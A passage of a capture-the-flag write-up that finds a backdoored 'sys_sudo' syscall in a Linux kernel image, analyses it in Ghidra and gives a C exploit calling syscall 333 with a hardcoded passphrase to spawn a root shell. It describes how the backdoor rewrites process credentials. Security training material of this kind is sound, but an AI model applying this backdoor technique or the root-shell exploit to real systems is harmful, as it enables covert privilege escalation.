lrwxrwxrwx    1 root     root            17 Jun 26 20:04 libresolv.so.2 -> libresolv-2.27.so
-rwxr-xr-x    1 root     root        363288 Jun 26 20:04 librt-2.27.so
lrwxrwxrwx    1 root     root            10 Jun 26 20:04 librt.so -> librt.so.1
lrwxrwxrwx    1 root     root            13 Jun 26 20:04 librt.so.1 -> librt-2.27.so
-rwxr-xr-x    1 root     root        574000 Jun 26 20:04 libthread_db-1.0.so
lrwxrwxrwx    1 root     root            17 Jun 26 20:04 libthread_db.so -> libthread_db.so.1
lrwxrwxrwx    1 root     root            19 Jun 26 20:04 libthread_db.so.1 -> libthread_db-1.0.so
-rwxr-xr-x    1 root     root         41488 Jun 26 20:04 libutil-2.27.so
lrwxrwxrwx    1 root     root            12 Jun 26 20:04 libutil.so -> libutil.so.1
lrwxrwxrwx    1 root     root            15 Jun 26 20:04 libutil.so.1 -> libutil-2.27.so

Even if no module is loaded, the attacker may have overwritten a syscall table entry. Let’s check it!

grep -Ei "[\t ]*__((x64)|(ia32))_sys_" /proc/kallsyms | awk '{print $NF}' | awk -F'_sys_' '{print $NF}' | sort | uniq >/mnt/share/syscalls.txt

The list is available here.

Let’s compare this list to the Linux version 4.17 syscalls!

First, we need to get a list of the original syscalls from the Linux kernel sources.

Please note that some syscalls will be missing in the original kernel sources since the system has probably been compiled with additional modules/drivers:

wget https://raw.githubusercontent.com/torvalds/linux/v4.17/arch/x86/entry/syscalls/syscall_64.tbl
wget https://raw.githubusercontent.com/torvalds/linux/v4.17/arch/x86/entry/syscalls/syscall_32.tbl
wget https://raw.githubusercontent.com/torvalds/linux/v4.17/arch/sh/kernel/syscalls_64.S
wget https://raw.githubusercontent.com/torvalds/linux/v4.17/arch/sh/kernel/syscalls_32.S

cat syscalls_64.S syscalls_32.S | grep -Ei ".long sys_" | awk -F'sys_' '{print $NF}' | awk '{print $1}' | sort | uniq >syscalls.S
cat syscall_64.tbl syscall_32.tbl | grep -vE "^#" | grep -Ei "[\t ]*__((x64)|(ia32))(_compat)?_sys_" | awk '{print $NF}' | awk -F'_sys_' '{print $NF}' | sort | uniq >syscalls.tbl
cat syscalls.tbl syscalls.S | sort | uniq >original_syscalls.txt

Now, we can compare the set of original syscalls with the one we got from the system:

original_syscalls = set()
with open('original_syscalls.txt') as fd:
    for syscall in fd:
        original_syscalls.add(syscall.strip())

syscalls = set()
with open('syscalls.txt') as fd:
    for syscall in fd:
        syscalls.add(syscall.strip())

for syscall in syscalls.difference(original_syscalls):
    print('sys_{:s}'.format(syscall))

Result:

sys_vm86
sys_pciconfig_write
sys_subpage_prot
sys_gethostname
sys_s390_pci_mmio_read
sys_spu_run
sys_pciconfig_iobase
sys_spu_create
sys_sudo
sys_pciconfig_read
sys_s390_pci_mmio_write
sys_sync_file_range2
sys_vm86old

In the list above, we can see the syscalls that are available for the system but are not referenced in the kernel sources.

If we exclude the syscalls associated with the use of the PCI bus, the PowerPC (e.g., SPU FS), the VM86 mode and that we look for external references, we notice that only the syscall sys_sudo does not seem to come from the Linux project.

Let’s analyze it!

sys_sudo analysis

To analyze the sys_sudo, we need to extract it from the kernel sources. Let’s use Ghidra!

First, create a new non-shared project and import vmlinux file. If the tool association is correctly configured, double clicking on the vmlinux file should open it in the CodeBrowser.

We’re invited to start the binary analysis, the default settings are quite sufficient, let’s just run it and take a coffee.

Since we are dealing with the Linux kernel, we’re not going through all the steps of the reverse engineering process here, it will take years… Instead, we will directly search for functions associated with our syscall and limit ourselves to these functions during our analysis.

Let’s search for functions whose names contain sys_sudo using the Functions list (activate this panel using [Windows] > Functions):

sudo_functions

Let’s first analyse the __x64_sys_sudo function!

__x64_sys_sudo

Looking at the decompiler view, we can quickly create the following pseudocode:

__x64_sys_sudo

The code is very basic and consists in checking a passphrase passed as an argument with a known secret, if the passphrases matches the secret, the __sys_sudo function is called.

Let’s take a look at the __sys_sudo function.

__sys_sudo

After some times implementing the following structure into Ghidra data types:

struct cred {
    int     usage;   /* (atomic_t) */
    uid_t   uid;     /* real UID of the task (kuid_t) */
    gid_t   gid;     /* real GID of the task (kuid_t) */
    uid_t   suid;    /* saved UID of the task (kuid_t) */
    gid_t   sgid;    /* saved GID of the task (kuid_t) */
    uid_t   euid;    /* effective UID of the task (kuid_t) */
    gid_t   egid;    /* effective GID of the task (kuid_t) */
    uid_t   fsuid;   /* UID for VFS ops (kuid_t) */
    gid_t   fsgid;   /* GID for VFS ops (kuid_t) */
};

We can use it to understand the __sys_sudo function:

__sys_sudo

This function simply allows the user to get root privileges at the kernel level by modifying its cred struct.

The exploitation is really simple: just call the __sys_sudo syscall with the right passphrase to get root access!

Exploitation

To call a syscall, we need to know its number. Thanks to the name of the challenge, we can easily guess that the __sys_sudo number is 333.

Here is the final exploit:

// Inspired by https://www.bases-hacking.org/exploitation-null-pointer.html
// also based on Spender's exploits (https://grsecurity.net/~spender/exploits/exploit.txt).

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

#define SYS_SUDO 333

// Spawn a shell if we get root.
void spawn_shell() {
    if (getuid() == 0) {
        fprintf(stdout, "[+] Opening root shell...\n");
        char *argv[] = {"/bin/sh", NULL};
        execve("/bin/sh", argv, NULL);
    }
}

int main(){
    fprintf(stdout, "[+] Calling sys_sudo...\n");

    if (syscall(SYS_SUDO, "wAKmju9z67dsr5fcuCstwBzQiV") != 0) {
        fprintf(stderr, "Error calling sys_sudo: %s\n", strerror(errno));
        return EXIT_FAILURE;
    }

    fprintf(stdout, "[+] Spawning a shell...\n");
    spawn_shell();  // get root shell.

    return EXIT_SUCCESS;
}

Result:

flag

The final flag is APRK{B4cKd00r3d_Sys73m_:/}

Happy Hacking!

Creased